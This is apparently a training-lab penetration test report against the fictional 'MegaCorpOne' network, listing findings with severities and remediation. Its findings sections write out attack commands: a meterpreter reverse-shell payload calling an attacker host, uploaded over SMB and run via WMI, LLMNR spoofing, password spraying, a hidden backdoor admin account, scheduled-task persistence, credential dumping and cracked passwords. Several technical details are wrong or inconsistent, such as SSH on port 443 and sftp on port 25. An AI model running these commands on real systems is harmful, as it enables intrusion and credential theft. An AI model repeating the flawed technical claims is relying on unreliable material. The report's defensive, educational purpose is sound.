# 

| Cybersecurity |
| --- |
| Penetration Test Report Template |

MegaCorpOne

Penetration Test Report

**Safety Zone, LLC**

# 

## Confidentiality Statement

This document contains confidential and privileged information from MegaCorpOne Inc. (henceforth known as MegaCorpOne). The information contained in this document is confidential and may constitute inside or non-public information under international, federal, or state laws. Unauthorized forwarding, printing, copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are not the intended recipient, be aware that any disclosure, copying, or distribution of this document or its parts is prohibited.

## Table of Contents

[Confidentiality Statement 2](#_30j0zll)

[Contact Information 4](#_1fob9te)

[Document History 4](#_3znysh7)

[Introduction 5](#_2et92p0)

[Assessment Objective 5](#_3dy6vkm)

[Penetration Testing Methodology 6](#_2s8eyo1)

[Reconnaissance 6](#_17dp8vu)

[Identification of Vulnerabilities and Services 6](#_3rdcrjn)

[Vulnerability Exploitation 6](#_26in1rg)

[Reporting 6](#_lnxbz9)

[Scope 7](#_35nkun2)

[Executive Summary of Findings 8](#_44sinio)

[Grading Methodology 8](#_z337ya)

[Summary of Strengths 9](#_3j2qqm3)

[Summary of Weaknesses 9](#_1y810tw)

[Executive Summary Narrative 10](#_4i7ojhp)

[Summary Vulnerability Overview 11](#_2xcytpi)

Vulnerability Findings [1](#_1ci93xb)3

[MITRE ATT&CK Navigator Map](#_3whwml4) 54

# 

## Contact Information

| **Company Name** | SAFETY ZONE, LLC |
| --- | --- |
| **Contact Name** | KEVIN ARNOLD |
| **Contact Title** | Penetration Tester |
| **Contact Phone** | 555.224.2411 |
| **Contact Email** | KARNOLD@SZONE.com |

## Document History

| **Version** | **Date** | **Author(s)** | **Comments** |
| --- | --- | --- | --- |
| 001 | 02/02/2025 | KEVIN ARNOLD | Initial Draft |
| 002 | 02/10/2025 | KEVIN ARNOLD | Final Draft |
|  |  |  |  |
|  |  |  |  |

# 

## Introduction

In accordance with MegaCorpOne’s policies, SAFETY ZONE, LLC (henceforth known as [SZ) conducts external and internal penetration tests of its networks and systems throughout the year. The purpose of this engagement was to assess the networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted testing methodology and best practices. The project was conducted on a number of systems on MegaCorpOne’s network segments by SZ during February of 2025.

For the testing, SZ focused on the following:

* Attempting to determine what system-level vulnerabilities could be discovered and exploited with no prior knowledge of the environment or notification to administrators.
* Attempting to exploit vulnerabilities found and access confidential information that may be stored on systems.
* Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual exposure levels to online hackers. This document contains the results of that assessment.

### Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in MegaCorpOne’s web applications, networks, and systems. This assessment was conducted to identify exploitable vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to provide a greater level of security for the environment.

SZ used its proven vulnerability testing methodology to assess all relevant web applications, networks, and systems in scope.

MegaCorpOne has outlined the following objectives:

Table 1: Defined Objectives

| **Objective** |
| --- |
| Find and exfiltrate any sensitive information within the domain. |
| Escalate privileges to domain administrator. |
| Compromise at least two machines. |

# 

## Penetration Testing Methodology

### Reconnaissance

SZ begins assessments by checking for any passive (open source) data that may assist the assessors with their tasks. If internal, the assessment team will perform active recon using tools such as Nmap and Bloodhound.

### Identification of Vulnerabilities and Services

SZ uses custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective of the network security from a hacker’s point of view. These methods provide MegaCorpOne with an understanding of the risks that threaten its information, and also the strengths and weaknesses of the current controls protecting those systems. The results were achieved by mapping the network architecture, identifying hosts and services, enumerating network and system-level vulnerabilities, attempting to discover unexpected hosts within the environment, and eliminating false positives that might have arisen from scanning.

### Vulnerability Exploitation

SZ’s normal process is to both manually test each identified vulnerability and use automated tools to exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us unauthorized access to the system or the sensitive data.

### Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done everything possible within the allotted time, the assessment team writes the report, which is the final deliverable to the customer.

# 

## Scope

Prior to any assessment activities, MegaCorpOne and the assessment team will identify targeted systems with a defined range or list of network IP addresses. The assessment team will work directly with the MegaCorpOne POC to determine which network ranges are in-scope for the scheduled assessment.

It is MegaCorpOne’s responsibility to ensure that IP addresses identified as in-scope are actually controlled by MegaCorpOne and are hosted in MegaCorpOne-owned facilities (i.e., are not hosted by an external organization). In-scope and excluded IP addresses and ranges are listed below.

| **IP Address/URL** | **Description** |
| --- | --- |
| 172.16.117.0/16  MCO.local  \*.Megacorpone.com | MegaCorpOne internal domain, range and public website |

# 

## Executive Summary of Findings

## 

### Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may pose to the business processes implemented by the application, based on the following criteria:

**Critical**: Immediate threat to key business processes.

**High**: Indirect threat to key business processes/threat to secondary business processes.

**Medium**: Indirect or partial threat to business processes.

**Low**: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

Informational: No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the business and the likelihood of exploitation:

Chart

Description automatically generated with medium confidence

## 

### Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also recognized several strengths within MegaCorpOne’s environment. These positives highlight the effective countermeasures and defenses that successfully prevented, detected, or denied an attack technique or tactic from occurring.

* MegaCorpOne has demonstrated a proactive concern towards cybersecurity by allowing the penetration test. This is a great achievement in itself.
* Network (domain) accounts and passwords are locked down from intruders by using standard access controls.
* The network structure itself is a sound design.
* Users are not granted permissions to sensitive files, demonstrating principles of least privilege.

### Summary of Weaknesses

SZ successfully found several critical vulnerabilities that should be immediately addressed in order to prevent an adversary from compromising the network. These findings are not specific to a software version but are more general and systemic vulnerabilities.

* Some attention is required on the forward-facing websites to shore up access to files, server information and IP addresses made public.
* Some user training and a focus on security awareness is needed for the staff to not save passwords on the network.
* The IT admin staff should check open ports and needed security patches and OS updates on all servers and workstations.
* The IT admin staff should specifically examine the exploits detailed below - that were possible during the test - so that they cannot happen by an actual attacker. Special attention should be on the SSH protocol.
* Ultimately, the test proved that full access to the domain controller was possible. That was done with several techniques after a simple account was used and by guessing their password. Then using that account to elevate the privilege and secure even more privileged accounts.

# 

## Executive Summary

Great care has been taken in this penetration testing to identify critical vulnerabilities in the MegaCorpOne network. It should be noted that many companies are facing the exact issues identified herein and that by conducting this test you are well on your way to securing these and preventing an actual cyber incident. This will safeguard your data and your company’s reputation and reliability perceived by your business partners.

The reconnaissance phase using OSINT tactics revealed a clue to an account required from the MegaCorpOne web services. That was by testing easy to guess passwords based on your staff’s names. This allowed SZ to gain a low level permission onto the network, using that account name and password onto VPN.

Although this was a low privilege account, SZ was able to exploit the SSH protocol and gain a higher privilege account (root) and conduct any manner of activities that such an account would allow. As well, a script was run exploiting the FTP protocol to gain shell access.

So with this in mind, please examine the details in their specifics so that mitigation can proceed.

## Summary Vulnerability Overview

| **Vulnerability** | **Severity** |
| --- | --- |
| Weak password on public web application | **Critical** |
| Hidden File Exposed on Public Web Application | **High** |
| Server Information Exposed on Public Web Service | **Medium** |
| Domain Server Info Exposed on Public Web Service | **Critical** |
| Network Scan and Exposed Endpoints | **High** |
| Shell Access through Exploit | **High** |
| Testing Various Exploits with Metasploit | **High** |
| Privilege Escalation | **Critical** |
| Password Cracking | **Critical** |
| Persistence on the Network | **High** |
| Windows Port Scanning Attack | **Medium** |
| Windows Password Spraying Attack | **Critical** |
| Windows LLMNR Spoofing | **Critical** |
| WMI Exploit | **High** |
| Custom Payload attacks using msfvenom | **Critical** |
| Windows Privilege Escalation | **High** |
| Gaining Persistence in Windows | **High** |
| Credential Dumping Attack | **Critical** |
| Lateral Movement on Domain | **Critical** |
| Credential Access Attack | **Critical** |

The following summary tables represent an overview of the assessment findings for this penetration test:

| **Scan Type** | **Total** |
| --- | --- |
| Hosts | Wep app: www.MegaCorpOne.com  149.56.244.87  Linux OS:  Assets/Endpoints  172.22.117.0/26 |
| Ports | All ports were scanned including 21, 22, 80, 443 |

| **Exploitation Risk** | **Total** |
| --- | --- |
| **Critical** | 10 |
| **High** | 8 |
| **Medium** | 2 |
| **Low** | 0 |

## Vulnerability Findings

| **Vulnerability 1** | **Findings** |
| --- | --- |
| **Title** | Weak Password on Public Web Application |
| **Type (Web app / Linux OS / WIndows OS)** | Web app |
| **Risk Rating** | **Critical** |
| **Description** | The site **vpn.megacorpone.com** is used to host the Cisco AnyConnect configuration file for MegaCorpOne. This site is secured with basic authentication but is susceptible to a dictionary attack. SZ was able to use a username gathered from OSINT in combination with a wordlist in order to guess the user’s password and access the configuration file.  Furthermore, the account was utilized successfully to gain entry into the megacorpone network over VPN, using those credentials. |
| **Images** |  |
| **Affected Hosts** | vpn.megacorpone.com |
| **Remediation** | * Set up two-factor authentication instead of basic authentication to prevent dictionary attacks from being successful. * Require a strong password complexity that requires passwords to be over 12 characters long, upper+lower case, & include a special character. * Employee training to not save passwords on text files on the network. * Reset the user **thudson**’s password.   This is categorized as Critical because thudson’s account was further utilized to explore the megacorpone network and to elevate the privilege with further exploits. |

| **Vulnerability 2** | **Findings** |
| --- | --- |
| **Title** | **Hidden File Exposed on Public Web Application** |
| **Type (Web app / Linux OS / WIndows OS)** | Web app |
| **Risk Rating** | **High** |
| **Description** | The file robots.txt was found and exposed using basic advanced search functions while utilizing Google Hacking techniques on www.magacorpone.com |
| **Images** |  |
| **Affected Hosts** | www.magacorpone.com |
| **Remediation** | * Remove the exposed file from the website * Place the file within a secured site that requires two-factor authentication to access it. * Limit the access to only the users who need access to this file.   This is categorized as High because it was relatively easy to open this hidden file that may have information valuable to an attacker. |

| **Vulnerability 3** | **Findings** |
| --- | --- |
| **Title** | **Server Information Exposed on Public Web Service** |
| **Type (Web app / Linux OS / WIndows OS)** | Web app |
| **Risk Rating** | **Medium** |
| **Description** | While using the free OSINT service Shodan.io, some network details were found available freely that may expose MegaCorpOne to future attack.  First an nslookup was performed and used to discover ports were open: 22, 80 and 443. The version of SSh is 9.2p1 and the OS of the server is Debian 12 with security updates (deb12u3). The server is running Apache/2.4.62 (Debian), in Montreal.  As well, the following vulnerabilities are present on the server: [**CVE-2020-11023**](https://www.shodan.io/search?query=vuln:CVE-2020-11023)   * + [**CVE-2020-11022**](https://www.shodan.io/search?query=vuln:CVE-2020-11022)   + [**CVE-2019-11358**](https://www.shodan.io/search?query=vuln:CVE-2019-11358)   + [**CVE-2015-9251**](https://www.shodan.io/search?query=vuln:CVE-2015-9251)   + [**CVE-2013-4365**](https://www.shodan.io/search?query=vuln:CVE-2013-4365)   + [**CVE-2013-2765**](https://www.shodan.io/search?query=vuln:CVE-2013-2765)   + [**CVE-2013-0942**](https://www.shodan.io/search?query=vuln:CVE-2013-0942)   + [**CVE-2013-0941**](https://www.shodan.io/search?query=vuln:CVE-2013-0941)   + [**CVE-2012-4360**](https://www.shodan.io/search?query=vuln:CVE-2012-4360)   + [**CVE-2012-4001**](https://www.shodan.io/search?query=vuln:CVE-2012-4001)   + [**CVE-2012-3526**](https://www.shodan.io/search?query=vuln:CVE-2012-3526)   + [**CVE-2011-2688**](https://www.shodan.io/search?query=vuln:CVE-2011-2688)   + [**CVE-2011-1176**](https://www.shodan.io/search?query=vuln:CVE-2011-1176)   + [**CVE-2009-2299**](https://www.shodan.io/search?query=vuln:CVE-2009-2299)   + [**CVE-2009-0796**](https://www.shodan.io/search?query=vuln:CVE-2009-0796)   + [**CVE-2007-4723**](https://www.shodan.io/search?query=vuln:CVE-2007-4723) |
| **Images** |  |
| **Affected Hosts** | [www.megacorpone.com](http://www.megacorpone.com) 149.56.244.87 |
| **Remediation** | * Limit exposure by using a firewall to restrict access to critical services. * Close unused ports to block from being exposed. * Consider implementing Cloudflare to hide the real IP address. * Regularly audit your public facing assets to check for exposure. * Perform the suggested mitigation as described in each CVE listed. An overview can be found at <https://cve.mitre.org/cve/search_cve_list.html> Take note of severity levels and mitigation actions.   This is categorized as High because this information can be used in the reconnaissance of attackers to infiltrate the Megacorpone network. |

| **Vulnerability 4** | **Findings** |
| --- | --- |
| **Title** | **Domain Server Info Exposed on Public Web Service** |
| **Type (Web app / Linux OS / WIndows OS)** | Web app |
| **Risk Rating** | **Critical** |
| **Description** | Using OSINT tools Shodan API and Recon-ng it was found that the scan could reveal the domain server information for megacorpone.com  133 hosts were discovered. |
| **Images** |  |
| **Affected Hosts** | megacorone.com |
| **Remediation** | * Identify, classify and secure the discovered hosts. * Take down unused or obsolete hosts. * Maintain an inventory of your public-facing assets and perform regular audits.   This is categorized as Critical because of the threat of data breaches, subdomain takeovers and other cyberattacks. |

| **Vulnerability 5** | **Findings** |
| --- | --- |
| **Title** | **Network Scan and Exposed Endpoints** |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS 172.22.117.0/24 |
| **Risk Rating** | **High** |
| **Description** | An intense scan was successful by using Zenmap in the Linux terminal, to view the open ports on the assets. This revealed many open ports specifically on 172.22.117.150 and vulnerable to the ftp-vsftpd-backdoor exploit. |
| **Images** |  |
| **Affected Hosts** | Linux 172.22.117.150 |
| **Remediation** | * Take the machine offline immediately * Ports on the asset should be closed that have no purpose for the role of this machine before putting the machine back on the network. * Deploy a Network Intrusion Prevention system to detect and block reconnaissance from attackers. |

| **Vulnerability 6** | **Findings** |
| --- | --- |
| **Title** | **Shell Access through Exploit** |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | **High** |
| **Description** | Using Searchsploit, it was successful to gain shell access to the host 172.22.117.150 using a python script listening on port 21. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.150 |
| **Remediation** | * Remove the machine from the network. * Close unneeded ports on the machine. * Monitor for improper use of scripts on the network. |

| **Vulnerability 7** | **Findings** |
| --- | --- |
| **Title** | **Testing Various Exploits with MetaSploit** |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | **High** |
| **Description** | Various tests were conducted using MetaSploit  **Exploit 1: INDETERMINATE**  https://www.rapid7.com/db/modules/exploit/linux/http/alienvault\_exec/   * **Host IP address:** 172.22.117.150 * **Port:** 443 * **Service name:** SSH * **Service version:** SSH-1 * **Exploit outcome:** Exploit completed but no session was created. Wait until someone logged in and try again. * A computer screen shot    AI-generated content may be incorrect.   **Exploit 2: SUCCESSFUL**  https://www.rapid7.com/db/modules/exploit/unix/irc/unreal\_ircd\_3281\_backdoor/   * **Host IP address:** 172.22.117.150 * **Port:** 6667 * **Service name:** irc * **Service version:** 3.2.8.1 * **Exploit outcome:** Opened a shell as root * A computer screen shot of a computer    AI-generated content may be incorrect.   **Exploit 3: SUCCESSFUL**  https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/cerberus\_sftp\_enumusers/   * **Host IP address:** 172.22.117.150 * **Port:** 25 * **Service name:** sftp * **Service version:** older than 6.0.9.0 or 7.0.0.2 * **Exploit outcome:** Users found**A computer screen shot of a computer program    AI-generated content may be incorrect.**   **Exploit 4: SUCCESSFUL**  https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh\_login/   * **Host IP address:** 172.22.117.150 * **Port:** 443 * **Service name:** SSH * **Service version:** SSH-1 * **Exploit outcome:** SSH session opened   A computer screen shot of a computer code  AI-generated content may be incorrect. |
|  |  |
| **Affected Hosts** | 172.22.117.150 |
| **Remediation** | * Remove the machine from the network. * Close unneeded ports on the machine. * Exploit 4 allowed a full interactive shell with root access. Review and harden the SSH configuration. Enforce SSH keys instead. Use a firewall to restrict the SSH access. |

| **Vulnerability 8** | **Findings** |
| --- | --- |
| **Title** | Privilege Escalation |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | **Critical** |
| **Description** | After an initial check for some interesting files that might be of interest to hackers using the following commands (using the low privilege account found in a previous vulnerability)  Commands used:  find /home / -type f -iname "\*password\*" 2>/dev/null  find /home / -type f -iname "\*secret\*" 2>/dev/null  Possible files of interest recorded:  /var/tmp/adminpassword.txt  /var/lib/samba/secrets.tdb  /var/cache/debconf/passwords.dat  /etc/pam.d/common-password  /etc/ppp/pap-secrets  /etc/ppp/chap-secrets  /etc/mysql/conf.d/old\_passwords.cnf  /usr/lib/openssh/ssh-keysign  /usr/share/pam/common-password  **/var/tmp/adminpassword.txt file was found with admin credentials within the text file:**  **msfadmin**  **cybersecurity**  Using an SSH Login Check Scanner vulnerability, a shell was opened using those credentials and opened into a root shell. This escalated the privilege from the initial account used to another, higher one. |
| **Images** |  |
| **Affected Hosts** | 172.22.112.150 |
| **Remediation** | * Update the SSH configuration to the newest version * Suspend the admin account until it can be used without compromise, using a new and complex password. |

| **Vulnerability 9** | **Findings** |
| --- | --- |
| **Title** | Password Cracking |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | **Critical** |
| **Description** | Using an SSH connection with the previous high-privileged user, further testing was done to gain the passwords of current users. Using John the ripper tool, we cracked the hashes found in /etc/passwd and revealed the current passwords and demonstrated the ability to use even more internal accounts. |
| **Images** | Accounts identified:  klog 123456789  sys batman  tstark Password! |
| **Affected Hosts** | 172.22.117.150 |
| **Remediation** | * SSH hardening as mentioned previously. * Initiate users to have complex and longer passwords to inhibit the cracking process. |

# 

| **Vulnerability 10** | **Findings** |
| --- | --- |
| **Title** | Persistence on the Network |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | **High** |
| **Description** | Again while in an SSH connection from the previously identified user account, we tested and were able to add an additional hidden port into the sshd\_config file. With that we could add a new user, add the user to the admin group so that we could demonstrate persistence for the attacker, gaining access with SSH using another less obvious account. |
| **Images** | head -n 10 /etc/ssh/sshd\_config  Opened in nano to enter Port 10022    sudo reboot  sudo useradd systemd-ssh  sudo passwd systemd-ssh  sudo usermod -aG admin systemd-ssh  SSH successful with new added admin account. |
| **Affected Hosts** | 172.22.117.150 |
| **Remediation** | * SSH hardening as mentioned previously. * Regular scanning and audits for suspicious accounts (especially admin accounts and new groups). |

# 

| **Vulnerability 11** | **Findings** |
| --- | --- |
| **Title** | Windows Port Scanning Attack |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Medium** |
| **Description** | Retesting with a port scan proved we could scan the network with nmap and see valuable information. 2 Windows machines were identified:  172.22.117.20 Windows10  172.22.117.10 WinDC01  Ports 88, 135 and 445 are open |
| **Images** | Commands:  ip addr  172.22.117.100 |
| **Affected Hosts** | 172.22.117.20 172.22.117.10 |
| **Remediation** | * Recommend to block port scanning with a firewall * Segmentation of the DC onto a different VLAN * Implement an IDS like Snort |

# 

# 

| **Vulnerability 12** | **Findings** |
| --- | --- |
| **Title** | Windows Password Spraying Attack |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Critical** |
| **Description** | A password spraying attack was conducted in order to find a set of credentials that works on a machine. |
| **Images** | Commands:  Use auxiliary/scanner/smb/smb\_login  options  As found in the /etc/shadow file:  Set SMBUser tstark  Set SMBPass Password!  As found in the nmap scans:  Set SMBDomain megacorpone  set RHOSTS 172.22.117.0/24     1. run   SUCCESS: 172.22.117.10  SUCCESS: 172.22.117.20 administrator  A computer screen shot of a program  AI-generated content may be incorrect.  Using the MEGACORPONE\tstark account on WINDC01 machine did not log in. It did log in to the Win10 machine identified. |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * Enforce strong password policies * Implement MFA * Disable legacy protocols including SMB v1 |

# 

# 

| **Vulnerability 13** | **Findings** |
| --- | --- |
| **Title** | Windows LLMNR Spoofing |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Critical** |
| **Description** | Conducted the LLMNR with the Responder tool and spoofing technique using the credentials that worked on the Win10 machine, to see if any other accounts can be found and used for lateral movement. |
| **Images** | Commands:  sudo responder -I eth1 -v    The Responder tool listened actively for an incoming LLMNR broadcast. Received the NTLM password hash.    Tool John the ripper was used offline to crack the hash found.  Account found:  Megacorpone/pparker  Spring2021 |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * Enforce strong password policies * Implement MFA * Disable LLMNR via Powershell * Restrict NTLM usage with Group Policy |

# 

# 

| **Vulnerability 14** | **Findings** |
| --- | --- |
| **Title** | WMI Exploit |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **HIgh** |
| **Description** | Using WMI scanner module, using the found credentials to run commands on the remote host. |
| **Images** | Commands:  Set RHOSTS 172.22.117.0/24  Set SMBDomain megacorpone  Set SMBPass Password!  Set SMBUser tstark  set COMMAND whoami    The output MEGACORPONE/tstark found:    set COMMAND tasklist to view the processes:    set COMMAND ver  Version 10.0.19042.1288    set COMMAND systeminfo  Intel 2.8 Ghz processor  A computer screen shot of a program  AI-generated content may be incorrect.  set COMMAND query user  No users logged in.  A screenshot of a computer program  AI-generated content may be incorrect.  set COMMAND net share  C$  IPC$  ADMIN$  A screenshot of a computer  AI-generated content may be incorrect. |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * Restrict WMI with a firewall and/or group policy * Restrict WMI user permissions in Powershell * Require MFA for admins |

# 

| **Vulnerability 14** | **Findings** |
| --- | --- |
| **Title** | Custom Payload attacks using msfvenom |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Critical** |
| **Description** | Conducted the creation of custom payloads with msvenom tool, transfer to the designated host and then run it with WMI. |
| **Images** | Commands:  cd ~  msfvenom -p windows/meterpreter/reverse\_tcp LHOST=172.22.117.100 LPORT=4444 -f exe > shell.exe    Connecting to the remote file system, C:\ drive for tstark account.  smbclient //172.22.117.20/C$ -U megacorpone/tstark  Listing the files in the current directory:  ls     Uploading the payload:  put shell.exe     With the payload on the remote system; prepare WMI:  use exploit/multi/handler  set payload windows/meterpreter/reverse\_tcp  set LHOST 172.22.117.100  set LPORT 4444  exploit -j     In the WMI module:  use scanner/smb/impacket/wmiexec  set SMBPass Password!  set SMBUser tstark  set SMBDomain megacorpone  set RHOSTS 172.22.117.20  set COMMAND c:\shell.exe  options    run    View the active session:  sessions  sessions -i 1 |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * Restrict the use of unauthorized .exe files * Detect attacks with logging * Block outgoing traffic to the attacker on port used * Check for persistence, scheduled tasks and registry entries |

| **Vulnerability 15** | **Findings** |
| --- | --- |

| **Title** | Windows Privilege Escalation |
| --- | --- |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **HIgh** |
| **Description** | Escalating the privileges on a Windows machine from tstark to SYSTEM privileges for full control of the machine |
| **Images** | Migrated to a different process: |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * User and network hardening previously outlined. * Windows updates and patches * Monitoring of unusual activity and checking for unusual files. |

| **Vulnerability 16** | **Findings** |
| --- | --- |

| **Title** | Gaining Persistence in Windows |
| --- | --- |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **High** |
| **Description** | Persistence of the SYSTEM account by creating a scheduled task in Task Scheduler that will execute a payload |
| **Images** | In Meterpreter, attain shell:          Opening shell and create service    Using venom    sc start GamePadController  schtasks /create /tn “PBack” /tr “C:\service.exe” /sc daily /st 00:00 /f |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * Review scheduled tasks routinely * Monitor for unusual network activity and processes |

| **Vulnerability 17** | **Findings** |
| --- | --- |

| **Title** | Credential Dumping Attack |
| --- | --- |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Critical** |
| **Description** | Dumping all the cached credentials found on the Windows 10 machine, then saving and cracking the hashes to reveal the passwords.. |
| **Images** | Commands to get a Meterpreter sessions as SYSTEM:  msfconsole  use exploit/windows/smb/psexec   * + set RHOSTS 172.22.117.20   + set SMBUSER tstark   + set SMBPass Password!   + set SMBDomain megacorpone   + set LHOST 172.22.117.100     Load kiwi    dumping credentials:    Using nano to get the unknown password for user account banner:    Cracked with john using format as shown:    banner  Winter2021 |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | * Frequent changing of passwords for all users * Enable LSASS protection in registry * Patch and harden all systems |

| **Vulnerability 18** | **Findings** |
| --- | --- |

| **Title** | Lateral Movement on Domain |
| --- | --- |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Critical** |
| **Description** | Using the banner credentials to move laterally from the Win10 machine to the WINDC01 DC itself |
| **Images** | Starting with the previous SYSTEM shell using the tstark account, and background that session, using the commands to move laterally to WINDC01 |
| **Affected Hosts** | 172.22.117.10 |
| **Remediation** | * Restrict the admin group * Enable Windows Event Logging for lateral movement * Patch systems * Enforce MFA |

| **Vulnerability 19** | **Findings** |
| --- | --- |

| **Title** | Credential Access Attack |
| --- | --- |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | **Critical** |
| **Description** | Copying the .dit file on the DC to crack hashes. |
| **Images** | Using the meterpreter session on the WINDC01 machine:  shell  net users    Gather the NT Users and place in .txt file format for cracking        Cracked passwords: |
| **Affected Hosts** | 172.22.117.10 |
| **Remediation** | * Restrict the admin group * Enable Windows Event Logging for lateral movement * Patch systems * Enforce MFA |

# 

## MITRE ATT&CK Navigator Map

The following completed MITRE ATT&CK navigator map shows all of the techniques and tactics that SZ used throughout the assessment.

Legend:

Performed successfully

Failure to perform

Viewable format (click to open)

<https://drive.google.com/file/d/1SAkIbnD1_AQBupuwVQP-dGpeRNn4ppcK/view?usp=sharing>

JSON format (click to open)

[json](https://drive.google.com/file/d/1kqegLig-oppjY2pTLE5ThEStt8CWsqUu/view?usp=sharing)